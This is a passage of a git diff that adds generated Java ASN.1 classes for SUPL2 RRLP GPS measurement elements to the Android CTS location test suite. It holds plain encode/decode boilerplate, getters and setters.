+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SeqOfGPS_MsrSetElement gpsMsrSetList_;
+ public SeqOfGPS_MsrSetElement getGpsMsrSetList() {
+ return gpsMsrSetList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGPS_MsrSetElement
+ */
+ public void setGpsMsrSetList(Asn1Object value) {
+ this.gpsMsrSetList_ = (SeqOfGPS_MsrSetElement) value;
+ }
+ public SeqOfGPS_MsrSetElement setGpsMsrSetListToNewInstance() {
+ gpsMsrSetList_ = new SeqOfGPS_MsrSetElement();
+ return gpsMsrSetList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGpsMsrSetList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGpsMsrSetList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGpsMsrSetListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGPS_MsrSetElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gpsMsrSetList : "
+ + getGpsMsrSetList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPS_MeasureInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrElement.java
new file mode 100755
index 0000000..84081b3
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrElement.java
@@ -0,0 +1,990 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPS_MsrElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPS_MsrElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPS_MsrElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPS_MsrElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPS_MsrElement != null) {
+ return ImmutableList.of(TAG_GPS_MsrElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPS_MsrElement from encoded stream.
+ */
+ public static GPS_MsrElement fromPerUnaligned(byte[] encodedBytes) {
+ GPS_MsrElement result = new GPS_MsrElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPS_MsrElement from encoded stream.
+ */
+ public static GPS_MsrElement fromPerAligned(byte[] encodedBytes) {
+ GPS_MsrElement result = new GPS_MsrElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SatelliteID satelliteID_;
+ public SatelliteID getSatelliteID() {
+ return satelliteID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SatelliteID
+ */
+ public void setSatelliteID(Asn1Object value) {
+ this.satelliteID_ = (SatelliteID) value;
+ }
+ public SatelliteID setSatelliteIDToNewInstance() {
+ satelliteID_ = new SatelliteID();
+ return satelliteID_;
+ }
+
+ private GPS_MsrElement.cNoType cNo_;
+ public GPS_MsrElement.cNoType getCNo() {
+ return cNo_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPS_MsrElement.cNoType
+ */
+ public void setCNo(Asn1Object value) {
+ this.cNo_ = (GPS_MsrElement.cNoType) value;
+ }
+ public GPS_MsrElement.cNoType setCNoToNewInstance() {
+ cNo_ = new GPS_MsrElement.cNoType();
+ return cNo_;
+ }
+
+ private GPS_MsrElement.dopplerType doppler_;
+ public GPS_MsrElement.dopplerType getDoppler() {
+ return doppler_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPS_MsrElement.dopplerType
+ */
+ public void setDoppler(Asn1Object value) {
+ this.doppler_ = (GPS_MsrElement.dopplerType) value;
+ }
+ public GPS_MsrElement.dopplerType setDopplerToNewInstance() {
+ doppler_ = new GPS_MsrElement.dopplerType();
+ return doppler_;
+ }
+
+ private GPS_MsrElement.wholeChipsType wholeChips_;
+ public GPS_MsrElement.wholeChipsType getWholeChips() {
+ return wholeChips_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPS_MsrElement.wholeChipsType
+ */
+ public void setWholeChips(Asn1Object value) {
+ this.wholeChips_ = (GPS_MsrElement.wholeChipsType) value;
+ }
+ public GPS_MsrElement.wholeChipsType setWholeChipsToNewInstance() {
+ wholeChips_ = new GPS_MsrElement.wholeChipsType();
+ return wholeChips_;
+ }
+
+ private GPS_MsrElement.fracChipsType fracChips_;
+ public GPS_MsrElement.fracChipsType getFracChips() {
+ return fracChips_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPS_MsrElement.fracChipsType
+ */
+ public void setFracChips(Asn1Object value) {
+ this.fracChips_ = (GPS_MsrElement.fracChipsType) value;
+ }
+ public GPS_MsrElement.fracChipsType setFracChipsToNewInstance() {
+ fracChips_ = new GPS_MsrElement.fracChipsType();
+ return fracChips_;
+ }
+
+ private MpathIndic mpathIndic_;
+ public MpathIndic getMpathIndic() {
+ return mpathIndic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MpathIndic
+ */
+ public void setMpathIndic(Asn1Object value) {
+ this.mpathIndic_ = (MpathIndic) value;
+ }
+ public MpathIndic setMpathIndicToNewInstance() {
+ mpathIndic_ = new MpathIndic();
+ return mpathIndic_;
+ }
+
+ private GPS_MsrElement.pseuRangeRMSErrType pseuRangeRMSErr_;
+ public GPS_MsrElement.pseuRangeRMSErrType getPseuRangeRMSErr() {
+ return pseuRangeRMSErr_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPS_MsrElement.pseuRangeRMSErrType
+ */
+ public void setPseuRangeRMSErr(Asn1Object value) {
+ this.pseuRangeRMSErr_ = (GPS_MsrElement.pseuRangeRMSErrType) value;
+ }
+ public GPS_MsrElement.pseuRangeRMSErrType setPseuRangeRMSErrToNewInstance() {
+ pseuRangeRMSErr_ = new GPS_MsrElement.pseuRangeRMSErrType();
+ return pseuRangeRMSErr_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSatelliteID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSatelliteID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSatelliteIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SatelliteID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "satelliteID : "
+ + getSatelliteID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getCNo() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getCNo();
+ }
+
+ @Override public void setToNewInstance() {
+ setCNoToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPS_MsrElement.cNoType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "cNo : "
+ + getCNo().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getDoppler() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDoppler();
+ }
+
+ @Override public void setToNewInstance() {
+ setDopplerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPS_MsrElement.dopplerType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "doppler : "
+ + getDoppler().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getWholeChips() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getWholeChips();
+ }
+
+ @Override public void setToNewInstance() {
+ setWholeChipsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPS_MsrElement.wholeChipsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "wholeChips : "
+ + getWholeChips().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getFracChips() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getFracChips();
+ }
+
+ @Override public void setToNewInstance() {
+ setFracChipsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPS_MsrElement.fracChipsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "fracChips : "
+ + getFracChips().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getMpathIndic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMpathIndic();
+ }
+
+ @Override public void setToNewInstance() {
+ setMpathIndicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MpathIndic.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "mpathIndic : "
+ + getMpathIndic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getPseuRangeRMSErr() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPseuRangeRMSErr();
+ }
+
+ @Override public void setToNewInstance() {
+ setPseuRangeRMSErrToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPS_MsrElement.pseuRangeRMSErrType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "pseuRangeRMSErr : "
+ + getPseuRangeRMSErr().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class cNoType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_cNoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public cNoType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_cNoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_cNoType != null) {
+ return ImmutableList.of(TAG_cNoType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new cNoType from encoded stream.
+ */
+ public static cNoType fromPerUnaligned(byte[] encodedBytes) {
+ cNoType result = new cNoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cNoType from encoded stream.
+ */
+ public static cNoType fromPerAligned(byte[] encodedBytes) {
+ cNoType result = new cNoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cNoType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class dopplerType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_dopplerType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public dopplerType() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_dopplerType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_dopplerType != null) {
+ return ImmutableList.of(TAG_dopplerType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new dopplerType from encoded stream.
+ */
+ public static dopplerType fromPerUnaligned(byte[] encodedBytes) {
+ dopplerType result = new dopplerType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new dopplerType from encoded stream.
+ */
+ public static dopplerType fromPerAligned(byte[] encodedBytes) {
+ dopplerType result = new dopplerType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "dopplerType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class wholeChipsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_wholeChipsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public wholeChipsType() {
+ super();
+ setValueRange("0", "1022");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_wholeChipsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_wholeChipsType != null) {
+ return ImmutableList.of(TAG_wholeChipsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new wholeChipsType from encoded stream.
+ */
+ public static wholeChipsType fromPerUnaligned(byte[] encodedBytes) {
+ wholeChipsType result = new wholeChipsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new wholeChipsType from encoded stream.
+ */
+ public static wholeChipsType fromPerAligned(byte[] encodedBytes) {
+ wholeChipsType result = new wholeChipsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "wholeChipsType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class fracChipsType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_fracChipsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public fracChipsType() {
+ super();
+ setValueRange("0", "1024");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_fracChipsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_fracChipsType != null) {
+ return ImmutableList.of(TAG_fracChipsType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new fracChipsType from encoded stream.
+ */
+ public static fracChipsType fromPerUnaligned(byte[] encodedBytes) {
+ fracChipsType result = new fracChipsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new fracChipsType from encoded stream.
+ */
+ public static fracChipsType fromPerAligned(byte[] encodedBytes) {
+ fracChipsType result = new fracChipsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "fracChipsType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class pseuRangeRMSErrType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_pseuRangeRMSErrType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public pseuRangeRMSErrType() {
+ super();
+ setValueRange("0", "63");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_pseuRangeRMSErrType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_pseuRangeRMSErrType != null) {
+ return ImmutableList.of(TAG_pseuRangeRMSErrType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new pseuRangeRMSErrType from encoded stream.
+ */
+ public static pseuRangeRMSErrType fromPerUnaligned(byte[] encodedBytes) {
+ pseuRangeRMSErrType result = new pseuRangeRMSErrType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new pseuRangeRMSErrType from encoded stream.
+ */
+ public static pseuRangeRMSErrType fromPerAligned(byte[] encodedBytes) {
+ pseuRangeRMSErrType result = new pseuRangeRMSErrType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "pseuRangeRMSErrType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPS_MsrElement = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrSetElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrSetElement.java
new file mode 100755
index 0000000..e65c42b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPS_MsrSetElement.java
@@ -0,0 +1,426 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPS_MsrSetElement extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPS_MsrSetElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPS_MsrSetElement() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPS_MsrSetElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPS_MsrSetElement != null) {
+ return ImmutableList.of(TAG_GPS_MsrSetElement);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPS_MsrSetElement from encoded stream.
+ */
+ public static GPS_MsrSetElement fromPerUnaligned(byte[] encodedBytes) {
+ GPS_MsrSetElement result = new GPS_MsrSetElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPS_MsrSetElement from encoded stream.
+ */
+ public static GPS_MsrSetElement fromPerAligned(byte[] encodedBytes) {
+ GPS_MsrSetElement result = new GPS_MsrSetElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPS_MsrSetElement.refFrameType refFrame_;
+ public GPS_MsrSetElement.refFrameType getRefFrame() {
+ return refFrame_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPS_MsrSetElement.refFrameType
+ */
+ public void setRefFrame(Asn1Object value) {
+ this.refFrame_ = (GPS_MsrSetElement.refFrameType) value;
+ }
+ public GPS_MsrSetElement.refFrameType setRefFrameToNewInstance() {
+ refFrame_ = new GPS_MsrSetElement.refFrameType();
+ return refFrame_;
+ }
+
+ private GPSTOW24b gpsTOW_;
+ public GPSTOW24b getGpsTOW() {
+ return gpsTOW_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSTOW24b
+ */
+ public void setGpsTOW(Asn1Object value) {
+ this.gpsTOW_ = (GPSTOW24b) value;
+ }
+ public GPSTOW24b setGpsTOWToNewInstance() {
+ gpsTOW_ = new GPSTOW24b();
+ return gpsTOW_;
+ }
+
